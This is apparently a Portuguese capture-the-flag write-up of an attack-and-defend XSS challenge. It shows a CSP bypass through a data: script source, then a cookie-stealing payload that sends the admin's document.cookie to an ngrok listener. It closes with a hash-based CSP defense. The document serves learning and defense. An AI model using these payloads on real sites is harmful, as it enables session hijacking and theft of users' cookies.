Alquymia (CWE-79) Cross-site Scripting (XSS) Content Security Policy
ALQ{@taqu3_e_def3nce_is_fun}
O principal objetivo desse desafio foi atacar e defender um sistema suscetível a (CWE-79) Cross-site Scripting (XSS). Assim, foi possível adquirir as duas partes da flag em questão. Essas flags, quando juntas, conseguia o flag principal.
Parte do Ataque
Para o ataque, inicialmente tínhamos apenas a tela de entrada da aplicação dizendo que estava suscetível a ataques de (CWE-79) Cross-site Scripting (XSS):
Como o administrador precisava entrar na página para enviar o Cookie de flag para o atacante, então deveríamos utilizar um sistema web online para capturarmos o do administrador.
Entretanto, como tudo na vida não é fácil, o site contava com um sistema de Content Security Policy.
Entretanto, observando um pouco o Header Content Security Policy, percebe-se o atributo data, que é uma má prática contra o ataques (CWE-79) Cross-site Scripting (XSS), pois, de acordo com o CSPLITE, é possível introduzir um payload malicioso no parâmetro src. Então, enviando um script malicioso no src, podemos introduzir um payload a fim de testes como:
<script src="data:application/javascript;charset=utf-8,alert('XSS')"></script>E então, temos um XSS.
Agora, podemos usar o Ngrok para subir uma aplicação web (como um listener) para conseguir roubar o Cookie do administrador. Assim, com o servidor do Ngrok com o link https://1016-187-86-98-151.ngrok.io, podemos criar o payload malicioso
<script src="data:application/javascript;charset=utf-8,location.href = 'https://1016-187-86-98-151.ngrok.io/' + document.cookie"></script>Rodando o código no servidor, temos
E já temos a segunda parte da flag:
_def3nce_is_fun}
Parte da Defesa
Para a defesa, devemos estipular algumas regras do Content Security Policy, onde devemos permitir alguns scripts de serem executados e bloquear outros.
Assim, precisamos bloquear os scripts que executam XSS no console. Para isso, existem diversas maneiras: usaremos a mais simples.
O CSP pode utilizar de algoritmos de SHA-256 para codificar o script, e, antes de executá-lo, verificar se o mesmo é permitido nas regras do CSP. Para isso, usaremos, por exemplo, a regra:
script-src 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='
Para gerar o SHA-256, usaremos o seguinte comando:
echo -n '<SCRIPT>' | openssl sha256 -binary | openssl base64
Para isso, basta codificar o dois scripts seguros, que possuem os conteúdos
console.log("__SEGURO1__")console.log("__SEGURO2__")Passando isso pelo comando, temos, respectivamente:
laREw6lclWkOn+EnI+9ny9KneH/m1xVmCMKBrAgF8C4=
hii6FQk1E5f+ah0rqHNz3DAMNR2abz87DrsJsihCDjU=
Colocando nas regras do Content Security Policy script-src
script-src 'sha256-laREw6lclWkOn+EnI+9ny9KneH/m1xVmCMKBrAgF8C4=', script-src 'sha256-hii6FQk1E5f+ah0rqHNz3DAMNR2abz87DrsJsihCDjU=';
E, assim, por fim, impedimos o ataque XSS em nossa aplicação e obtemos a segunda parte da flag:
ALQ{@taqu3_e
